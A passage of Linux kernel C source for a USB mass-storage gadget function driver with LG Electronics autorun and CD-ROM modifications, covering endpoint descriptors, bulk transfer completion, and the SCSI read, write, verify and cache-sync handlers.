* So we will record the intended request length here. */
unsigned int bulk_out_intended_length;
struct usb_request *inreq;
int inreq_busy;
struct usb_request *outreq;
int outreq_busy;
};
enum fsg_state {
/* This one isn't used anywhere */
FSG_STATE_COMMAND_PHASE = -10,
FSG_STATE_DATA_PHASE,
FSG_STATE_STATUS_PHASE,
FSG_STATE_IDLE = 0,
FSG_STATE_ABORT_BULK_OUT,
FSG_STATE_RESET,
FSG_STATE_CONFIG_CHANGE,
FSG_STATE_EXIT,
FSG_STATE_TERMINATED
};
enum data_direction {
DATA_DIR_UNKNOWN = 0,
DATA_DIR_FROM_HOST,
DATA_DIR_TO_HOST,
DATA_DIR_NONE
};
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
static
#endif
int can_stall = 1;
struct fsg_dev {
struct usb_function function;
struct usb_composite_dev *cdev;
/* optional "usb_mass_storage" platform device */
struct platform_device *pdev;
/* lock protects: state and all the req_busy's */
spinlock_t lock;
/* filesem protects: backing files in use */
struct rw_semaphore filesem;
/* reference counting: wait until all LUNs are released */
struct kref ref;
unsigned int bulk_out_maxpacket;
enum fsg_state state; /* For exception handling */
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
enum chg_mode_state mode_state;
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
u8 config, new_config;
unsigned int running : 1;
unsigned int bulk_in_enabled : 1;
unsigned int bulk_out_enabled : 1;
unsigned int phase_error : 1;
unsigned int short_packet_received : 1;
unsigned int bad_lun_okay : 1;
unsigned long atomic_bitflags;
#define REGISTERED 0
#define CLEAR_BULK_HALTS 1
#define SUSPENDED 2
struct usb_ep *bulk_in;
struct usb_ep *bulk_out;
struct fsg_buffhd *next_buffhd_to_fill;
struct fsg_buffhd *next_buffhd_to_drain;
struct fsg_buffhd buffhds[NUM_BUFFERS];
int thread_wakeup_needed;
struct completion thread_notifier;
struct task_struct *thread_task;
int cmnd_size;
u8 cmnd[MAX_COMMAND_SIZE];
enum data_direction data_dir;
u32 data_size;
u32 data_size_from_cmnd;
u32 tag;
unsigned int lun;
u32 residue;
u32 usb_amount_left;
unsigned int nluns;
struct lun *luns;
struct lun *curlun;
u32 buf_size;
const char *vendor;
const char *product;
int release;
struct switch_dev sdev;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
int autorun_enable;
struct switch_dev autorun_sdev;
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
struct wake_lock wake_lock;
};
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
static unsigned int user_mode = 0;
#endif
static int send_status(struct fsg_dev *fsg);
static inline struct fsg_dev *func_to_dev(struct usb_function *f)
{
return container_of(f, struct fsg_dev, function);
}
static int exception_in_progress(struct fsg_dev *fsg)
{
return (fsg->state > FSG_STATE_IDLE);
}
/* Make bulk-out requests be divisible by the maxpacket size */
static void set_bulk_out_req_length(struct fsg_dev *fsg,
struct fsg_buffhd *bh, unsigned int length)
{
unsigned int rem;
bh->bulk_out_intended_length = length;
rem = length % fsg->bulk_out_maxpacket;
if (rem > 0)
length += fsg->bulk_out_maxpacket - rem;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
if (bh->outreq) { bh->outreq->length = length; }
#else
bh->outreq->length = length;
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
}
static struct fsg_dev *the_fsg;
static void close_backing_file(struct fsg_dev *fsg, struct lun *curlun);
static void close_all_backing_files(struct fsg_dev *fsg);
/*-------------------------------------------------------------------------*/
#ifdef DUMP_MSGS
static void dump_msg(struct fsg_dev *fsg, const char *label,
const u8 *buf, unsigned int length)
{
if (length < 512) {
DBG(fsg, "%s, length %u:\n", label, length);
print_hex_dump(KERN_DEBUG, "", DUMP_PREFIX_OFFSET,
16, 1, buf, length, 0);
}
}
static void dump_cdb(struct fsg_dev *fsg)
{}
#else
static void dump_msg(struct fsg_dev *fsg, const char *label,
const u8 *buf, unsigned int length)
{}
#ifdef VERBOSE_DEBUG
static void dump_cdb(struct fsg_dev *fsg)
{
print_hex_dump(KERN_DEBUG, "SCSI CDB: ", DUMP_PREFIX_NONE,
16, 1, fsg->cmnd, fsg->cmnd_size, 0);
}
#else
static void dump_cdb(struct fsg_dev *fsg)
{}
#endif /* VERBOSE_DEBUG */
#endif /* DUMP_MSGS */
static int fsg_set_halt(struct fsg_dev *fsg, struct usb_ep *ep)
{
const char *name;
if (ep == fsg->bulk_in)
name = "bulk-in";
else if (ep == fsg->bulk_out)
name = "bulk-out";
else
return -1;
DBG(fsg, "%s set halt\n", name);
return usb_ep_set_halt(ep);
}
/*-------------------------------------------------------------------------*/
/* Routines for unaligned data access */
static u16 get_be16(u8 *buf)
{
return ((u16) buf[0] << 8) | ((u16) buf[1]);
}
static u32 get_be32(u8 *buf)
{
return ((u32) buf[0] << 24) | ((u32) buf[1] << 16) |
((u32) buf[2] << 8) | ((u32) buf[3]);
}
static void put_be16(u8 *buf, u16 val)
{
buf[0] = val >> 8;
buf[1] = val;
}
static void put_be32(u8 *buf, u32 val)
{
buf[0] = val >> 24;
buf[1] = val >> 16;
buf[2] = val >> 8;
buf[3] = val & 0xff;
}
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
/* Routines for unaligned data access */
static u32 get_unaligned_be24(u8 *buf)
{
return 0xffffff & (u32) get_unaligned_be32(buf - 1);
}
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
/*-------------------------------------------------------------------------*/
/*
* DESCRIPTORS ... most are static, but strings and (full) configuration
* descriptors are built on demand. Also the (static) config and interface
* descriptors are adjusted during fsg_bind().
*/
/* There is only one interface. */
static struct usb_interface_descriptor
intf_desc = {
.bLength = sizeof intf_desc,
.bDescriptorType = USB_DT_INTERFACE,
.bNumEndpoints = 2, /* Adjusted during fsg_bind() */
.bInterfaceClass = USB_CLASS_MASS_STORAGE,
.bInterfaceSubClass = US_SC_SCSI,
.bInterfaceProtocol = US_PR_BULK,
};
/* Three full-speed endpoint descriptors: bulk-in, bulk-out,
* and interrupt-in. */
static struct usb_endpoint_descriptor
fs_bulk_in_desc = {
.bLength = USB_DT_ENDPOINT_SIZE,
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = USB_DIR_IN,
.bmAttributes = USB_ENDPOINT_XFER_BULK,
/* wMaxPacketSize set by autoconfiguration */
};
static struct usb_endpoint_descriptor
fs_bulk_out_desc = {
.bLength = USB_DT_ENDPOINT_SIZE,
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = USB_DIR_OUT,
.bmAttributes = USB_ENDPOINT_XFER_BULK,
/* wMaxPacketSize set by autoconfiguration */
};
static struct usb_descriptor_header *fs_function[] = {
(struct usb_descriptor_header *) &intf_desc,
(struct usb_descriptor_header *) &fs_bulk_in_desc,
(struct usb_descriptor_header *) &fs_bulk_out_desc,
NULL,
};
#define FS_FUNCTION_PRE_EP_ENTRIES 2
static struct usb_endpoint_descriptor
hs_bulk_in_desc = {
.bLength = USB_DT_ENDPOINT_SIZE,
.bDescriptorType = USB_DT_ENDPOINT,
/* bEndpointAddress copied from fs_bulk_in_desc during fsg_bind() */
.bmAttributes = USB_ENDPOINT_XFER_BULK,
.wMaxPacketSize = __constant_cpu_to_le16(512),
};
static struct usb_endpoint_descriptor
hs_bulk_out_desc = {
.bLength = USB_DT_ENDPOINT_SIZE,
.bDescriptorType = USB_DT_ENDPOINT,
/* bEndpointAddress copied from fs_bulk_out_desc during fsg_bind() */
.bmAttributes = USB_ENDPOINT_XFER_BULK,
.wMaxPacketSize = __constant_cpu_to_le16(512),
.bInterval = 1, /* NAK every 1 uframe */
};
static struct usb_descriptor_header *hs_function[] = {
(struct usb_descriptor_header *) &intf_desc,
(struct usb_descriptor_header *) &hs_bulk_in_desc,
(struct usb_descriptor_header *) &hs_bulk_out_desc,
NULL,
};
/* Maxpacket and other transfer characteristics vary by speed. */
static struct usb_endpoint_descriptor *
ep_desc(struct usb_gadget *g, struct usb_endpoint_descriptor *fs,
struct usb_endpoint_descriptor *hs)
{
if (gadget_is_dualspeed(g) && g->speed == USB_SPEED_HIGH)
return hs;
return fs;
}
/*-------------------------------------------------------------------------*/
/* These routines may be called in process context or in_irq */
/* Caller must hold fsg->lock */
static void wakeup_thread(struct fsg_dev *fsg)
{
/* Tell the main thread that something has happened */
fsg->thread_wakeup_needed = 1;
if (fsg->thread_task)
wake_up_process(fsg->thread_task);
}
static void raise_exception(struct fsg_dev *fsg, enum fsg_state new_state)
{
unsigned long flags;
DBG(fsg, "raise_exception %d\n", (int)new_state);
/* Do nothing if a higher-priority exception is already in progress.
* If a lower-or-equal priority exception is in progress, preempt it
* and notify the main thread by sending it a signal. */
spin_lock_irqsave(&fsg->lock, flags);
if (fsg->state <= new_state) {
fsg->state = new_state;
if (fsg->thread_task)
send_sig_info(SIGUSR1, SEND_SIG_FORCED,
fsg->thread_task);
}
spin_unlock_irqrestore(&fsg->lock, flags);
}
/*-------------------------------------------------------------------------*/
/* Bulk and interrupt endpoint completion handlers.
* These always run in_irq. */
static void bulk_in_complete(struct usb_ep *ep, struct usb_request *req)
{
struct fsg_dev *fsg = ep->driver_data;
struct fsg_buffhd *bh = req->context;
if (req->status || req->actual != req->length)
DBG(fsg, "%s --> %d, %u/%u\n", __func__,
req->status, req->actual, req->length);
/* Hold the lock while we update the request and buffer states */
smp_wmb();
spin_lock(&fsg->lock);
bh->inreq_busy = 0;
bh->state = BUF_STATE_EMPTY;
wakeup_thread(fsg);
spin_unlock(&fsg->lock);
}
static void bulk_out_complete(struct usb_ep *ep, struct usb_request *req)
{
struct fsg_dev *fsg = ep->driver_data;
struct fsg_buffhd *bh = req->context;
dump_msg(fsg, "bulk-out", req->buf, req->actual);
if (req->status || req->actual != bh->bulk_out_intended_length)
DBG(fsg, "%s --> %d, %u/%u\n", __func__,
req->status, req->actual,
bh->bulk_out_intended_length);
/* Hold the lock while we update the request and buffer states */
smp_wmb();
spin_lock(&fsg->lock);
bh->outreq_busy = 0;
bh->state = BUF_STATE_FULL;
wakeup_thread(fsg);
spin_unlock(&fsg->lock);
}
static int fsg_function_setup(struct usb_function *f,
const struct usb_ctrlrequest *ctrl)
{
// pr_info("CDROM[%s]\n", __func__);
struct fsg_dev *fsg = func_to_dev(f);
struct usb_composite_dev *cdev = fsg->cdev;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
DBG(fsg, "fsg_function_setup\n");
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
if (!fsg->autorun_enable) {
if (w_index != intf_desc.bInterfaceNumber)
return value;
}
#else
if (w_index != intf_desc.bInterfaceNumber)
return value;
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
/* Handle Bulk-only class-specific requests */
if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_CLASS) {
DBG(fsg, "USB_TYPE_CLASS\n");
switch (ctrl->bRequest) {
case USB_BULK_RESET_REQUEST:
if (ctrl->bRequestType != (USB_DIR_OUT |
USB_TYPE_CLASS | USB_RECIP_INTERFACE))
break;
if (w_value != 0) {
value = -EDOM;
break;
}
/* Raise an exception to stop the current operation
* and reinitialize our state. */
DBG(fsg, "bulk reset request\n");
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
// if (fsg->autorun_enable)
raise_exception(fsg, FSG_STATE_RESET);
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
value = 0;
break;
case USB_BULK_GET_MAX_LUN_REQUEST:
if (ctrl->bRequestType != (USB_DIR_IN |
USB_TYPE_CLASS | USB_RECIP_INTERFACE))
break;
if (w_value != 0) {
value = -EDOM;
break;
}
VDBG(fsg, "get max LUN\n");
*(u8 *)cdev->req->buf = fsg->nluns - 1;
value = 1;
break;
}
}
/* respond with data transfer or status phase? */
if (value >= 0) {
int rc;
cdev->req->zero = value < w_length;
cdev->req->length = value;
rc = usb_ep_queue(cdev->gadget->ep0, cdev->req, GFP_ATOMIC);
if (rc < 0)
printk("%s setup response queue error\n", __func__);
}
if (value == -EOPNOTSUPP)
VDBG(fsg,
"unknown class-specific control req "
"%02x.%02x v%04x i%04x l%u\n",
ctrl->bRequestType, ctrl->bRequest,
le16_to_cpu(ctrl->wValue), w_index, w_length);
return value;
}
/*-------------------------------------------------------------------------*/
/* All the following routines run in process context */
/* Use this for bulk or interrupt transfers, not ep0 */
static void start_transfer(struct fsg_dev *fsg, struct usb_ep *ep,
struct usb_request *req, int *pbusy,
enum fsg_buffer_state *state)
{
int rc;
DBG(fsg, "start_transfer req: %p, req->buf: %p\n", req, req->buf);
if (ep == fsg->bulk_in)
dump_msg(fsg, "bulk-in", req->buf, req->length);
spin_lock_irq(&fsg->lock);
*pbusy = 1;
*state = BUF_STATE_BUSY;
spin_unlock_irq(&fsg->lock);
rc = usb_ep_queue(ep, req, GFP_KERNEL);
if (rc != 0) {
*pbusy = 0;
*state = BUF_STATE_EMPTY;
/* We can't do much more than wait for a reset */
/* Note: currently the net2280 driver fails zero-length
* submissions if DMA is enabled. */
if (rc != -ESHUTDOWN && !(rc == -EOPNOTSUPP &&
req->length == 0))
WARN(fsg, "error in submission: %s --> %d\n",
(ep == fsg->bulk_in ? "bulk-in" : "bulk-out"),
rc);
}
}
static int sleep_thread(struct fsg_dev *fsg)
{
int rc = 0;
/* Wait until a signal arrives or we are woken up */
for (;;) {
try_to_freeze();
set_current_state(TASK_INTERRUPTIBLE);
if (signal_pending(current)) {
rc = -EINTR;
break;
}
if (fsg->thread_wakeup_needed)
break;
schedule();
}
__set_current_state(TASK_RUNNING);
fsg->thread_wakeup_needed = 0;
return rc;
}
/*-------------------------------------------------------------------------*/
static int do_read(struct fsg_dev *fsg)
{
struct lun *curlun = fsg->curlun;
u32 lba;
struct fsg_buffhd *bh;
int rc;
u32 amount_left;
loff_t file_offset, file_offset_tmp;
unsigned int amount;
unsigned int partial_page;
ssize_t nread;
/* Get the starting Logical Block Address and check that it's
* not too big */
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
if (fsg->cmnd[0] == SC_READ_6) {
if (fsg->autorun_enable)
lba = get_unaligned_be24(&fsg->cmnd[1]);
else
lba = (fsg->cmnd[1] << 16) | get_be16(&fsg->cmnd[2]);
} else {
if (fsg->autorun_enable)
lba = get_unaligned_be32(&fsg->cmnd[2]);
else
lba = get_be32(&fsg->cmnd[2]);
/* We allow DPO (Disable Page Out = don't save data in the
* cache) and FUA (Force Unit Access = don't read from the
* cache), but we don't implement them. */
if ((fsg->cmnd[1] & ~0x18) != 0) {
curlun->sense_data = SS_INVALID_FIELD_IN_CDB;
return -EINVAL;
}
}
#else
if (fsg->cmnd[0] == SC_READ_6)
lba = (fsg->cmnd[1] << 16) | get_be16(&fsg->cmnd[2]);
else {
lba = get_be32(&fsg->cmnd[2]);
/* We allow DPO (Disable Page Out = don't save data in the
* cache) and FUA (Force Unit Access = don't read from the
* cache), but we don't implement them. */
if ((fsg->cmnd[1] & ~0x18) != 0) {
curlun->sense_data = SS_INVALID_FIELD_IN_CDB;
return -EINVAL;
}
}
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
if (lba >= curlun->num_sectors) {
curlun->sense_data = SS_LOGICAL_BLOCK_ADDRESS_OUT_OF_RANGE;
return -EINVAL;
}
file_offset = ((loff_t) lba) << 9;
/* Carry out the file reads */
amount_left = fsg->data_size_from_cmnd;
if (unlikely(amount_left == 0))
return -EIO; /* No default reply */
for (;;) {
/* Figure out how much we need to read:
* Try to read the remaining amount.
* But don't read more than the buffer size.
* And don't try to read past the end of the file.
* Finally, if we're not at a page boundary, don't read past
* the next page.
* If this means reading 0 then we were asked to read past
* the end of file. */
amount = min((unsigned int) amount_left,
(unsigned int)fsg->buf_size);
amount = min((loff_t) amount,
curlun->file_length - file_offset);
partial_page = file_offset & (PAGE_CACHE_SIZE - 1);
if (partial_page > 0)
amount = min(amount, (unsigned int) PAGE_CACHE_SIZE -
partial_page);
/* Wait for the next buffer to become available */
bh = fsg->next_buffhd_to_fill;
while (bh->state != BUF_STATE_EMPTY) {
rc = sleep_thread(fsg);
if (rc)
return rc;
}
/* If we were asked to read past the end of file,
* end with an empty buffer. */
if (amount == 0) {
curlun->sense_data =
SS_LOGICAL_BLOCK_ADDRESS_OUT_OF_RANGE;
curlun->sense_data_info = file_offset >> 9;
curlun->info_valid = 1;
bh->inreq->length = 0;
bh->state = BUF_STATE_FULL;
break;
}
/* Perform the read */
file_offset_tmp = file_offset;
nread = vfs_read(curlun->filp,
(char __user *) bh->buf,
amount, &file_offset_tmp);
VLDBG(curlun, "file read %u @ %llu -> %d\n", amount,
(unsigned long long) file_offset,
(int) nread);
if (signal_pending(current))
return -EINTR;
if (nread < 0) {
LDBG(curlun, "error in file read: %d\n",
(int) nread);
nread = 0;
} else if (nread < amount) {
LDBG(curlun, "partial file read: %d/%u\n",
(int) nread, amount);
nread -= (nread & 511); /* Round down to a block */
}
file_offset += nread;
amount_left -= nread;
fsg->residue -= nread;
bh->inreq->length = nread;
bh->state = BUF_STATE_FULL;
/* If an error occurred, report it and its position */
if (nread < amount) {
curlun->sense_data = SS_UNRECOVERED_READ_ERROR;
curlun->sense_data_info = file_offset >> 9;
curlun->info_valid = 1;
break;
}
if (amount_left == 0)
break; /* No more left to read */
/* Send this buffer and go read some more */
start_transfer(fsg, fsg->bulk_in, bh->inreq,
&bh->inreq_busy, &bh->state);
fsg->next_buffhd_to_fill = bh->next;
}
return -EIO; /* No default reply */
}
/*-------------------------------------------------------------------------*/
static int do_write(struct fsg_dev *fsg)
{
struct lun *curlun = fsg->curlun;
u32 lba;
struct fsg_buffhd *bh;
int get_some_more;
u32 amount_left_to_req, amount_left_to_write;
loff_t usb_offset, file_offset, file_offset_tmp;
unsigned int amount;
unsigned int partial_page;
ssize_t nwritten;
int rc;
#ifdef CONFIG_USB_CSW_HACK
int csw_hack_sent = 0;
int i;
#endif
if (curlun->ro) {
curlun->sense_data = SS_WRITE_PROTECTED;
return -EINVAL;
}
curlun->filp->f_flags &= ~O_SYNC; /* Default is not to wait */
/* Get the starting Logical Block Address and check that it's
* not too big */
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
if (fsg->cmnd[0] == SC_WRITE_6) {
if (fsg->autorun_enable)
lba = get_unaligned_be24(&fsg->cmnd[1]);
else
lba = (fsg->cmnd[1] << 16) | get_be16(&fsg->cmnd[2]);
} else {
if (fsg->autorun_enable)
lba = get_unaligned_be32(&fsg->cmnd[2]);
else
lba = get_be32(&fsg->cmnd[2]);
/* We allow DPO (Disable Page Out = don't save data in the
* cache) and FUA (Force Unit Access = write directly to the
* medium). We don't implement DPO; we implement FUA by
* performing synchronous output. */
if ((fsg->cmnd[1] & ~0x18) != 0) {
curlun->sense_data = SS_INVALID_FIELD_IN_CDB;
return -EINVAL;
}
if (fsg->cmnd[1] & 0x08) /* FUA */
curlun->filp->f_flags |= O_SYNC;
}
#else
if (fsg->cmnd[0] == SC_WRITE_6)
lba = (fsg->cmnd[1] << 16) | get_be16(&fsg->cmnd[2]);
else {
lba = get_be32(&fsg->cmnd[2]);
/* We allow DPO (Disable Page Out = don't save data in the
* cache) and FUA (Force Unit Access = write directly to the
* medium). We don't implement DPO; we implement FUA by
* performing synchronous output. */
if ((fsg->cmnd[1] & ~0x18) != 0) {
curlun->sense_data = SS_INVALID_FIELD_IN_CDB;
return -EINVAL;
}
if (fsg->cmnd[1] & 0x08) /* FUA */
curlun->filp->f_flags |= O_SYNC;
}
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
if (lba >= curlun->num_sectors) {
curlun->sense_data = SS_LOGICAL_BLOCK_ADDRESS_OUT_OF_RANGE;
return -EINVAL;
}
/* Carry out the file writes */
get_some_more = 1;
file_offset = usb_offset = ((loff_t) lba) << 9;
amount_left_to_req = amount_left_to_write = fsg->data_size_from_cmnd;
while (amount_left_to_write > 0) {
/* Queue a request for more data from the host */
bh = fsg->next_buffhd_to_fill;
if (bh->state == BUF_STATE_EMPTY && get_some_more) {
/* Figure out how much we want to get:
* Try to get the remaining amount.
* But don't get more than the buffer size.
* And don't try to go past the end of the file.
* If we're not at a page boundary,
* don't go past the next page.
* If this means getting 0, then we were asked
* to write past the end of file.
* Finally, round down to a block boundary. */
amount = min(amount_left_to_req, (u32)fsg->buf_size);
amount = min((loff_t) amount, curlun->file_length -
usb_offset);
partial_page = usb_offset & (PAGE_CACHE_SIZE - 1);
if (partial_page > 0)
amount = min(amount,
(unsigned int) PAGE_CACHE_SIZE - partial_page);
if (amount == 0) {
get_some_more = 0;
curlun->sense_data =
SS_LOGICAL_BLOCK_ADDRESS_OUT_OF_RANGE;
curlun->sense_data_info = usb_offset >> 9;
curlun->info_valid = 1;
continue;
}
amount -= (amount & 511);
if (amount == 0) {
/* Why were we were asked to transfer a
* partial block? */
get_some_more = 0;
continue;
}
/* Get the next buffer */
usb_offset += amount;
fsg->usb_amount_left -= amount;
amount_left_to_req -= amount;
if (amount_left_to_req == 0)
get_some_more = 0;
/* amount is always divisible by 512, hence by
* the bulk-out maxpacket size */
bh->outreq->length = bh->bulk_out_intended_length =
amount;
start_transfer(fsg, fsg->bulk_out, bh->outreq,
&bh->outreq_busy, &bh->state);
fsg->next_buffhd_to_fill = bh->next;
continue;
}
/* Write the received data to the backing file */
bh = fsg->next_buffhd_to_drain;
if (bh->state == BUF_STATE_EMPTY && !get_some_more)
break; /* We stopped early */
#ifdef CONFIG_USB_CSW_HACK
/*
* If the csw packet is already submmitted to the hardware,
* by marking the state of buffer as full, then by checking
* the residue, we make sure that this csw packet is not
* written on to the storage media.
*/
if (bh->state == BUF_STATE_FULL && fsg->residue) {
#else
if (bh->state == BUF_STATE_FULL) {
#endif
smp_rmb();
fsg->next_buffhd_to_drain = bh->next;
bh->state = BUF_STATE_EMPTY;
/* Did something go wrong with the transfer? */
if (bh->outreq->status != 0) {
curlun->sense_data = SS_COMMUNICATION_FAILURE;
curlun->sense_data_info = file_offset >> 9;
curlun->info_valid = 1;
break;
}
amount = bh->outreq->actual;
if (curlun->file_length - file_offset < amount) {
LERROR(curlun,
"write %u @ %llu beyond end %llu\n",
amount, (unsigned long long) file_offset,
(unsigned long long) curlun->file_length);
amount = curlun->file_length - file_offset;
}
/* Perform the write */
file_offset_tmp = file_offset;
nwritten = vfs_write(curlun->filp,
(char __user *) bh->buf,
amount, &file_offset_tmp);
VLDBG(curlun, "file write %u @ %llu -> %d\n", amount,
(unsigned long long) file_offset,
(int) nwritten);
if (signal_pending(current))
return -EINTR; /* Interrupted! */
if (nwritten < 0) {
LDBG(curlun, "error in file write: %d\n",
(int) nwritten);
nwritten = 0;
} else if (nwritten < amount) {
LDBG(curlun, "partial file write: %d/%u\n",
(int) nwritten, amount);
nwritten -= (nwritten & 511);
/* Round down to a block */
}
file_offset += nwritten;
amount_left_to_write -= nwritten;
fsg->residue -= nwritten;
/* If an error occurred, report it and its position */
if (nwritten < amount) {
#ifdef CONFIG_USB_CSW_HACK
/*
* If csw is already sent & write failure
* occured, then detach the storage media
* from the corresponding lun, and cable must
* be disconnected to recover fom this error.
*/
if (csw_hack_sent) {
if (backing_file_is_open(curlun)) {
close_backing_file(fsg, curlun);
curlun->unit_attention_data =
SS_MEDIUM_NOT_PRESENT;
}
break;
}
#endif
curlun->sense_data = SS_WRITE_ERROR;
curlun->sense_data_info = file_offset >> 9;
curlun->info_valid = 1;
break;
}
#ifdef CONFIG_USB_CSW_HACK
if ((nwritten == amount) && !csw_hack_sent) {
/*
* Check if any of the buffer is in the
* busy state, if any buffer is in busy state,
* means the complete data is not received
* yet from the host. So there is no point in
* csw right away without the complete data.
*/
for (i = 0; i < NUM_BUFFERS; i++) {
if (fsg->buffhds[i].state ==
BUF_STATE_BUSY)
break;
}
if (!amount_left_to_req && i == NUM_BUFFERS) {
csw_hack_sent = 1;
send_status(fsg);
}
}
#endif
/* Did the host decide to stop early? */
if (bh->outreq->actual != bh->outreq->length) {
fsg->short_packet_received = 1;
break;
}
continue;
}
/* Wait for something to happen */
rc = sleep_thread(fsg);
if (rc)
return rc;
}
return -EIO; /* No default reply */
}
/*-------------------------------------------------------------------------*/
/* Sync the file data, don't bother with the metadata.
* The caller must own fsg->filesem.
* This code was copied from fs/buffer.c:sys_fdatasync(). */
static int fsync_sub(struct lun *curlun)
{
struct file *filp = curlun->filp;
struct inode *inode;
int rc, err;
if (curlun->ro || !filp)
return 0;
if (!filp->f_op->fsync)
return -EINVAL;
inode = filp->f_path.dentry->d_inode;
mutex_lock(&inode->i_mutex);
rc = filemap_fdatawrite(inode->i_mapping);
err = filp->f_op->fsync(filp, 1);
if (!rc)
rc = err;
err = filemap_fdatawait(inode->i_mapping);
if (!rc)
rc = err;
mutex_unlock(&inode->i_mutex);
VLDBG(curlun, "fdatasync -> %d\n", rc);
return rc;
}
static void fsync_all(struct fsg_dev *fsg)
{
int i;
for (i = 0; i < fsg->nluns; ++i)
fsync_sub(&fsg->luns[i]);
}
static int do_synchronize_cache(struct fsg_dev *fsg)
{
struct lun *curlun = fsg->curlun;
int rc;
/* We ignore the requested LBA and write out all file's
* dirty data buffers. */
rc = fsync_sub(curlun);
if (rc)
curlun->sense_data = SS_WRITE_ERROR;
return 0;
}
/*-------------------------------------------------------------------------*/
static void invalidate_sub(struct lun *curlun)
{
struct file *filp = curlun->filp;
struct inode *inode = filp->f_path.dentry->d_inode;
unsigned long rc;
rc = invalidate_mapping_pages(inode->i_mapping, 0, -1);
VLDBG(curlun, "invalidate_inode_pages -> %ld\n", rc);
}
static int do_verify(struct fsg_dev *fsg)
{
struct lun *curlun = fsg->curlun;
u32 lba;
u32 verification_length;
struct fsg_buffhd *bh = fsg->next_buffhd_to_fill;
loff_t file_offset, file_offset_tmp;
u32 amount_left;
unsigned int amount;
ssize_t nread;
/* Get the starting Logical Block Address and check that it's
* not too big */
lba = get_be32(&fsg->cmnd[2]);
if (lba >= curlun->num_sectors) {
curlun->sense_data = SS_LOGICAL_BLOCK_ADDRESS_OUT_OF_RANGE;
return -EINVAL;
}
/* We allow DPO (Disable Page Out = don't save data in the
* cache) but we don't implement it. */
if ((fsg->cmnd[1] & ~0x10) != 0) {
curlun->sense_data = SS_INVALID_FIELD_IN_CDB;
return -EINVAL;
}
verification_length = get_be16(&fsg->cmnd[7]);
if (unlikely(verification_length == 0))
return -EIO; /* No default reply */
/* Prepare to carry out the file verify */
amount_left = verification_length << 9;
file_offset = ((loff_t) lba) << 9;
/* Write out all the dirty buffers before invalidating them */
fsync_sub(curlun);
if (signal_pending(current))
return -EINTR;
invalidate_sub(curlun);
if (signal_pending(current))
return -EINTR;
/* Just try to read the requested blocks */
while (amount_left > 0) {
/* Figure out how much we need to read:
* Try to read the remaining amount, but not more than
* the buffer size.
* And don't try to read past the end of the file.
* If this means reading 0 then we were asked to read
* past the end of file. */
amount = min((unsigned int) amount_left,
(unsigned int)fsg->buf_size);
amount = min((loff_t) amount,
curlun->file_length - file_offset);
if (amount == 0) {
curlun->sense_data =
SS_LOGICAL_BLOCK_ADDRESS_OUT_OF_RANGE;
curlun->sense_data_info = file_offset >> 9;
curlun->info_valid = 1;
break;
}
/* Perform the read */
file_offset_tmp = file_offset;
nread = vfs_read(curlun->filp,
(char __user *) bh->buf,
amount, &file_offset_tmp);
VLDBG(curlun, "file read %u @ %llu -> %d\n", amount,
(unsigned long long) file_offset,
(int) nread);
if (signal_pending(current))
return -EINTR;
if (nread < 0) {
LDBG(curlun, "error in file verify: %d\n",
(int) nread);
nread = 0;
} else if (nread < amount) {
LDBG(curlun, "partial file verify: %d/%u\n",
(int) nread, amount);
nread -= (nread & 511); /* Round down to a sector */
}
if (nread == 0) {
curlun->sense_data = SS_UNRECOVERED_READ_ERROR;
curlun->sense_data_info = file_offset >> 9;
curlun->info_valid = 1;
break;
}
file_offset += nread;
amount_left -= nread;
}
return 0;
}
/*-------------------------------------------------------------------------*/
/* LGE_CHANGE_S [hyunhui.park@lge.com] 2010-07-10, Setting of UMS */
/* If board is not GED, mass storage's vendor/product name is
* "LGE Android Platform USB Device"
* FIXME : This info must be in platform data of mass storage
*/
/* LGE_CHANGE_S [hyunhui.park@lge.com] 2010-09-09, Apply model name */
/* NOTE : THIS IS ONLY FOR VERIZON
*/
#ifdef CONFIG_LGE_USB_GADGET_DRIVER
#define LGE_UMS_VENDOR "LG"
#define LGE_UMS_PRODUCT "US855"
#define LGE_CDROM_PRODUCT "US855 CDROM"
#endif
/* LGE_CHANGE_E [hyunhui.park@lge.com] 2010-09-09 */
/* LGE_CHANGE_E [hyunhui.park@lge.com] 2010-07-10 */
static int do_inquiry(struct fsg_dev *fsg, struct fsg_buffhd *bh)
{
u8 *buf = (u8 *) bh->buf;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
